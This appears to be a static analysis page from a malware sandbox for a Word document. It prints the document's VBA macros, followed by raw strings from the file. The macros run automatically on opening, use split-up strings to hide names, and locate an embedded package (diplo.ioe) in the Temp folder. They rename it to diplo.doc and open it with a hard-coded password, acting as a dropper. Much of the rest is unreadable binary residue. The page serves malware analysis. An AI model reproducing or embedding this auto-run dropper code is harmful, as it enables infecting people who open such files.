popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Call s1("Lo")



Dim abrakadabra As String
abrakadabra = "o"
Call s2("cal/")
abrakadabra = abrakadabra & "c"
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & "\diplo.d" & abrakadabra) = "" Then
 
    Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv, kytrewwf)
Call pppx(kytrewwf & "\diplo.d" & abrakadabra)




End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
        Dim hdv As String
        Dim bbbb As String
        Dim med As String
Private Sub Document_Open()
Dim dfgdgdg
Call s1("Lo")



Dim abrakadabra As String
abrakadabra = "o"
Call s2("cal/")
abrakadabra = abrakadabra & "c"
Dim kytrewwf As String
kytrewwf = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(kytrewwf & "\diplo.d" & abrakadabra) = "" Then
 
    Call bvxfcsd
If Len(hdv) > 2 Then
Call nam(hdv, kytrewwf)
Call pppx(kytrewwf & "\diplo.d" & abrakadabra)




End If
End If
End Sub




Sub hdhdd(asda As String)
Dim MyFSO As FileSystemObject
Dim MyFile As File
Dim SourceFolder As String
Dim DestinationFolder As String
Dim MyFolder As Folder
Dim MySubFolder As Folder
Set MyFSO = New Scripting.FileSystemObject


Call Search(MyFSO.GetFolder(asda), hdv)

End Sub

Original

                                        Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
Dim lkvc As String
lkvc = spoc
    Documents.Open FileName:=lkvc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module1"


Sub pppx(spoc As String)
Dim lkvc As String
lkvc = spoc
    Documents.Open FileName:=lkvc, ConfirmConversions:=False, ReadOnly:= _
        False, AddToRecentFiles:=False, PasswordDocument:="2281337", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""
End Sub

Original

                                        Attribute VB_Name = "Module3"
Dim vv1, vv2, vv3, vv4, fafaa As String

Sub s1(vi As String)
vv1 = vi
End Sub
Sub s2(vi As String)
vv2 = vi
End Sub
Sub s3(vi As String)
vv3 = vi
End Sub
Sub bvxfcsd()
vv3 = "Te"
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49


vv4 = "mp"
Dim kuls As String

kuls = vv1 & vv2 & vv3 & vv4


fafaa = kuls
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module3"
Dim vv1, vv2, vv3, vv4, fafaa As String

Sub s1(vi As String)
vv1 = vi
End Sub
Sub s2(vi As String)
vv2 = vi
End Sub
Sub s3(vi As String)
vv3 = vi
End Sub
Sub bvxfcsd()
vv3 = "Te"
 Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2

    Selection.TypeBackspace

Selection.Copy
Dim uuuuc
uuuuc = Options.DefaultFilePath(wdUserTemplatesPath)

    ntgs = 50
sda = 49


vv4 = "mp"
Dim kuls As String

kuls = vv1 & vv2 & vv3 & vv4


fafaa = kuls
While sda < 50
      ntgs = ntgs - 1

      If Dir(Left(uuuuc, ntgs) & kuls, vbDirectory) = "" Then
        
    Else
  
   sda = 61
    End If

   Wend
   Call ThisDocument.hdhdd(Left(uuuuc, ntgs) & fafaa)
End Sub

Original

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
 Dim siplo As String
siplo = "o"
siplo = siplo & "e"
    Dim Ters As Object
  Dim fffff
  fffff = "diplo.i" & siplo
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim abrakadabra As String
abrakadabra = "o"

Dim oxl
oxl = "\diplo.d" & abrakadabra & "c"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub












Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub

Deobfuscated

                                        Attribute VB_Name = "Module123345"
Dim pls As String


 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object
 Dim siplo As String
siplo = "o"
siplo = siplo & "e"
    Dim Ters As Object
  Dim fffff
  fffff = "diplo.i" & siplo
For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc

   For Each Ters In mds.Files
   
   If Ters.Name = fffff Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub



Sub nam(pafs As String, aaaa As String)
Call ousx(aaaa)
Dim abrakadabra As String
abrakadabra = "o"

Dim oxl
oxl = "\diplo.d" & abrakadabra & "c"
Name pafs As pls & oxl
End Sub

Sub uoia(fffs As String)
pls = fffs
End Sub












Sub ousx(aaaa As String)
Call uoia(aaaa)
End Sub
EMBED Package
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
nUZ=kI
$~u3{g
ieo.(S
5)93M
|,)#*h
i%C$WR
S'Z`>.
Cw+GoSG
GRTum\
-&=^%f
ui,."1r
ukm>i3
u9_,ZOG
WVO}Z8(x;
Paz#mv8
O+:k=R
t_:o!Uc
ki${dc
G-;Fn,|
ywe*0}
\\jW:U
rivik'
T.c*MG
-l..Ya
jmSL]gG
-lUo5+y
G/zM\q
a5mCUi#
S[yK3|
|W6m+/
I/<9"Gz
[Oki,*
]pW9*i
/<!$rJ
REo43F
jW?"6c
~Vkhdo'o
g4PI$RG3G
Ja'v::|
=UD{kJ;
tFWW9e
mZ+%dsN<
Wg<k,o
+W]MyY
iD&e*
>_+}Rb;O
jp[^,-
~}_x;L
^fO:H.
'$?h]j
S4[ZY$
xoTY#J
jvwRIp
R(eo-Yw7
"gsK#|
RIUlf3
joZ<Qq
?=eR7F
<Ar#TM
X}sO[y
rx:]c[
^KnY^3
+$?l[a
\GVn/!
IW.?u
kmsV;x
[xOKm>
t]tCP][$
tslFhZ/
e]1n^%
,Mk;E
scogy=
9m'_28
>'kpxwM
RG%I)\u
Tt;8l6yP
4T'Ze
SkA5rJ
^Iwe,Mx
?.I~_3v
]5oSdcO
i#2C4ed
_2kgy--d
4i+6?v
RyuiXM\mIE
yS],P43[
}FuHbA
{H,4Y"
[H4}5^x
q"El^$
SSh9t35KO
mNInaV
8uK)mnb
zlWI,7
PCW1|y
USWg&"MlS
WRT~W
z4j)+3
u4vur;:
jIEGRU
.InTa&
9>$xkK
kJ7fu6,
o>4^J6[
QEdhtc
Vt54r-p
CV*!RTu%
uI|Iqq
E}'EU
\Z0}h
OLE Package
Package
Normal.dotm
diplo.ioe
C:\Users\MyPc\Desktop\New folder\diplo.ioe
C:\Users\MyPc\AppData\Local\Temp\diplo.ioe
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<encryption xmlns="http://schemas.microsoft.com/office/2006/encryption" xmlns:p="http://schemas.microsoft.com/office/2006/keyEncryptor/password" xmlns:c="http://schemas.microsoft.com/office/2006/keyEncryptor/certificate"><keyData saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="7zg8j/c
NnvXpS
Axh}'7
lV(Q\n
oJ3"/Ny
h</U-NQG
6Nxl#`
Bk!b>H1
H@k!}6
HxYw-'
@lgfy
HYDL;]<
bQ"l.p'|7k
JB/6cG
\\t<L9<w
bka8Ek_2
@P}(:I
?$w"~-
vH!si>
d%t5-9
"=YI5p
&YE>vWv
h2^X,2n0
u<3fMr
MmX&9[
ja%?ho
$1uc9B2
4fSQSpQ
muK1Td
F`$5&k_
O\ZVtm
k?,e8!u
!VJ+Qy
P)lT(E:
P@+CS.
xO;@-f/#
"ZA_ 0[
C-_WIL
2)@RUJK
yVDIho
!q:1acm
a+Ah\4
*Q5gS,
x&%duNI
ZUzudJ
GF>urV
MWtNuOd
0iV:>K
oxhc7.N
8+6N`G
-~J$4<
I#Md`7
b7o$7?
ruNr04
np}50J
0ptSz0S#J
e\LlLI
=4RK@m
Uf+~3q
)BIDdj
?KOS<3
,|u3Y
y?&wW7
>Id?u$
Fm,(pP
a/,0i%B
WF@,X*+M
MRhh%z:
ZXl9+!
hvq%_nVl`9BlK
M}V2xK
c>EHh
[ZO]A@
krzFnR
;zN o](
lTZqVX
x~nH.:
nlu`Q:
,KRQzE-
f7kH@?
T=fzsRKk)U
V'>@Mzj
Ah-L3"
7U.Yet
`,1<!{
lQ_|2'7
~&E)^w
fT--FoN:D
nn&y$aB
0/<nd+
?XsS0d
;leoEH8~`
Si:JzQ
KUOe$_M
'0n:3w
_w2O R
Ew[0o;
P5,f1q
s</=#G
tIR>rG
De?Z!*
)'6GHgx
\I])#/D
&4]t3k
x>)^h#w
".8kn
?vM7^x
ZV7VR6
Znm\Z9hD
=hN+]fa
d:"X?sD
}1qrS?
+Oa!fal
iU^`H5y
OW>!#S
n],Vd]
UFHwfPQ
%36k5
`gnUTQ.
Q#:OhENuG|vi
*V[6F/K
^D0<i4
TF2JG{
fL]OkH
zl~s$E
wx07y?
w`v1<J
c_7piF
|U33wh
5N2>)v
o4eSPo
~LDh8M
Q0tXzu,
@efb@Q
GC+hNf
g5Cams
1!{y/a.
5sF|\"
s)ojm"=
;Xc0Gi
[_4dhb
`\e%k<A
XK*A_{
S^2/zb
A|{,HPq
ghrXD*jZ
#F d&1]a,
$W=0>8
p /9OB
/MSV}W~bB!
u#bPL7
~8j~._
pQ24(g
)HD4spz
DL'P'&
-<=rM1
1>wdW=
x>1,]I
c1Xsr
pQw7k-
7"{/d-U
8[mhv\dY
1yS`@z;v
@7O_1c
=x%V.;
viDUU
mlZo~h
e be ]
Ai.51h
7U+<2X"jL]
lI$=B
>yE(08
16L]/z
M2Qv5C
y!O[U4
C3D`rh
%y) &M
~LOF4f
1\1@KS
g$g[HB}
yr1c,s;
A^NSwvDU[`
s lJ79&iN
z[vY (
:Y,ewW
zyV56V
mf<9Nw}tO
7`uQu%'
j}T0SU
!Zzq>x
LB^P^x
6xzI&KA(
XffoLh
{fw r?b
3Kxfav4
D>5Go?
D@@g,h
m'q]PX
(G}_5K
]VPn{)\
!FH&2~|+
zpyow<
8!r5q:M(i2
5l7qH$.
5yn'3j'
}J@lG
4\MR@|
aJ>_iBT
7z,7yk
v3`|l"
. b3K<"
L~y&_>
tlb\uu
W5?a|d
xgpCV^
dPjIG/
*{5vjl
@KuXWM!v
0z&*sc@
EVkjt}OO
BK4A%+
31"Uhu
acr\If
L2N?g4]
v~PvBl/
#70t;$
DRq-Zp
VbxxN)
kPbjrS
2zAM&c
PV#SvP(cB
W^)w%t
/wOoxtm
g2[b&W8.
jnd+kp_
K7']r%#
U!VmTQ
$R#L,]C
e]`6H?`
c_kQ65z
=6KukJ
qRxh>MP
*cZtW0r
M6zhVL
>|<[[C
_(yc22
%O"B_8
>{pw1)
V=}.~p
gBRJ_F;
ae- 7>.G
f.f$57n
p)kcx\
`rVW8ewnmH5eMMX8Q=="/><dataIntegrity encryptedHmacKey="lZ6DWmzt4lUaf+y8+mV/OYvhUv1Ye73BoTaBJ0X4BDVOJyaxqdbAGDX3kQGl2EGt5S+8oLgEDXsYNlkIlFlG/A==" encryptedHmacValue="NZfo0ZcbNFZPtQ5U/vQ4SbQbsHUSW/39HBULalmyfQVEHUKmPjcXBPXMRPtqKUqVmfY2lkkvebuO1kbP24a++Q=="/><keyEncryptors><keyEncryptor uri="http://schemas.microsoft.com/office/2006/keyEncryptor/password"><p:encryptedKey spinCount="100000" saltSize="16" blockSize="16" keyBits="256" hashSize="64" cipherAlgorithm="AES" cipherChaining="ChainingModeCBC" hashAlgorithm="SHA512" saltValue="uWRLvVCzR8NhD0qSYw8tZg==" encryptedVerifierHashInput="GGvW3tZvebS6+/p1wee53w==" encryptedVerifierHashValue="cbBPOW+iqtknwaAvHymJgf9yzzAak2qxMsx1uF6et0TzzqZG4KE/+ENXCvoUld/p0QrUctX6y8Ykkb2mVI871A==" encryptedKeyValue="W5mkFx5dG+Fl32FQXTdEw2gX5F7Hbc7V0a5M1fj7iNc="/></keyEncryptor></keyEncryptors></encryption>
a=0o4W5
Project
\G{00020
0046}#
2.0#0#C:
\Windows
\System3
e2.tlb
#OLE Aut
omation
ENormal
!Offic
DF8D04C-
5BFA-101@B-BDE5
ram File
s\Common
Microso
ft Share
d\OFFICE
16\MSO.D
M 16 .0 Ob
ibrary
5Scrip
f420B2
fE718-1
1CF-893D
20C90542 28}#1
run.dllH*
Runtim
sDocumenPtG
Module1G
2281337
Attribut
e VB_Nam
e = "Mod
Sub pppx
(spoc As
Dim lkv
Docume
nts.Open File
R, Confi
ons:=Fal
se, Read
Only:= _
AddTo8Rec
5Pa@ssword
="228133
'Tem`plate
'Fordma
uto, XML
Transf
Attribut
e VB_Nam
e = "Mod
im vv1,
afaa As
Sub s1(vbi
(bvxfcsdF(
Selectio
n.MoveDo
wn Unit:
=wdLine, Coun
Charac
TypeBack`space
rC(opy
DefaultF
ilePath(
wdUserTe
mplates
If Dir(L
eft(B8,
Document
.hdhdd
diplo.i
\diplo.d
Attribut
e VB_Nam
e = "Mod
ule12334
pls As S!
ub Searc
ect, paf!
or Each Q
ErrHandl
nam(
Gc@nCall
ousx(
A^abrakad
\diplo.d
\diplo.d
Attribut
e VB_Nam
e = "Thi
sDocumen
1Normal
VGlobal!
Pre decla
lateDeri
$Custom
Dim hdv
X Sub
_Open()
Call s@1("Lo"
2("cal/
kytreww&f
DefaultF
ilePath(@wdUserEds
-If Dir
o.d" &
" Then
0bvxfc
b`) > 2
pppxbCXA
End If
Aohdhd
d(asda
APMyFSOA
SystemOb
SourceFo
Destina
New Scr
Search(
c`#&`
ID="{12C60AB5-7475-4B82-B14D-ED0FECDC9675}"
Document=ThisDocument/&H00000000
Module=Module1
Module=Module3
Module=Module123345
Name="Project"
HelpContextID="0"
VersionCompatible32="393222000"
CMG="D3D1281FFF23FF23FF23FF23"
DPB="A6A45D4CE3CCB7CDB7CDB7"
GC="797B827783778388"
[Host Extender Info]
&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000
[Workspace]
ThisDocument=78, 0, 1098, 467,
Module1=104, 104, 1124, 4
Win64x
Project-
stdole
Normal
Office
Scripting
ThisDocument<
_Evaluate
Document_Open
dfgdgdgH
abrakadabra_
kytrewwfjA
Options
DefaultFilePath
wdUserTemplatesPath
bvxfcsdn
hdhdde
FileSystemObjectNU
MyFile
SourceFolder
DestinationFolder
MyFolder
Folder
MySubFolder
Search
GetFoldern
Module1b
Documents
FileNamej
ConfirmConversions
ReadOnly4<
AddToRecentFiles
PasswordDocument8
PasswordTemplate
Revert
WritePasswordDocument
WritePasswordTemplate
wdOpenFormatAutoh
XMLTransform
Module3d
fafaaM
SelectionZ
MoveDown
wdLine
Count0v
MoveRight
wdCharacter
TypeBackspacea
ntgs|W
vbDirectoryg
Module123345+
pafs7}
SubFoldersx=
FileswX
ErrHandle
ousx4$
Module3=156, 156, 1176, 545,
Module123345=52, 52, 733, 529, Z
ThisDocument
Module1
Module3
Module123345
Microsoft Word 97-2003 Document
MSWordDoc
Word.Document.8
[Content_Types].xml
_rels/.rels
theme/theme/themeManager.xml
theme/theme/theme1.xml
$4vq^W
MB[F7x"
>Yr]H+
a!e9#i
An7jah
theme/theme/_rels/themeManager.xml.rels
K(M&$R(.1
[Content_Types].xmlPK
_rels/.relsPK
theme/theme/themeManager.xmlPK
theme/theme/theme1.xmlPK
theme/theme/_rels/themeManager.xml.relsPK
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<a:clrMap xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" bg1="lt1" tx1="dk1" bg2="lt2" tx2="dk2" accent1="accent1" accent2="accent2" accent3="accent3" accent4="accent4" accent5="accent5" accent6="accent6" hlink="hlink" folHlink="folHlink"/>
Root Entry
WordDocument
ObjectPool
_1693787468
EPRINT
CompObj
ObjInfo
Segoe UI
diplo.ioe,
Ole10Native
1Table
SummaryInformation
DocumentSummaryInformation
Root Entry
EncryptedPackage
DataSpaces
Version
Microsoft.Container.DataSpaces
EncryptedPackage2
StrongEncryptionDataSpace
StrongEncryptionTransform
{FF9A3F03-56EF-4613-BDD5-5A41C1D07246}N
Microsoft.Container.EncryptionTransform
DataSpaceMap
DataSpaceInfo
StrongEncryptionDataSpace
TransformInfo
StrongEncryptionTransform
Primary
EncryptionInfo
C:\Users\MyPc\AppData\Local\Temp\diplo.ioe
diplo.ioe*
C:\Users\MyPc\Desktop\New folder\diplo.ioe
Macros
Module1
Module3
Module123345
ThisDocument
_VBA_PROJECT
(1Normal.ThisDocument
*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications
*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Root\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library
*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation
*\CNormal
*\CNormal
*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library
*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#C:\Windows\System32\scrrun.dll#Microsoft Scripting Runtime
ThisDocument
0E6340f1dd
ThisDocument
Module1
0F6340f1dd
Module1
Module3
0G6340f1dd
Module3
Module123345
0H6340f1dd
Module123345
PROJECT
PROJECTwm
CompObj
tThisDocument
1Module1
3Module3
5Module123345
Normal
Default Paragraph Font
Table Normal
No List
Project.Module3.bvxfcsd
PROJECT.MODULE3.BVXFCSD
Unknown
Times New Roman
Symbol
Calibri
Calibri Light
Cambria Math
No antivirus signatures available.
No IRMA results available.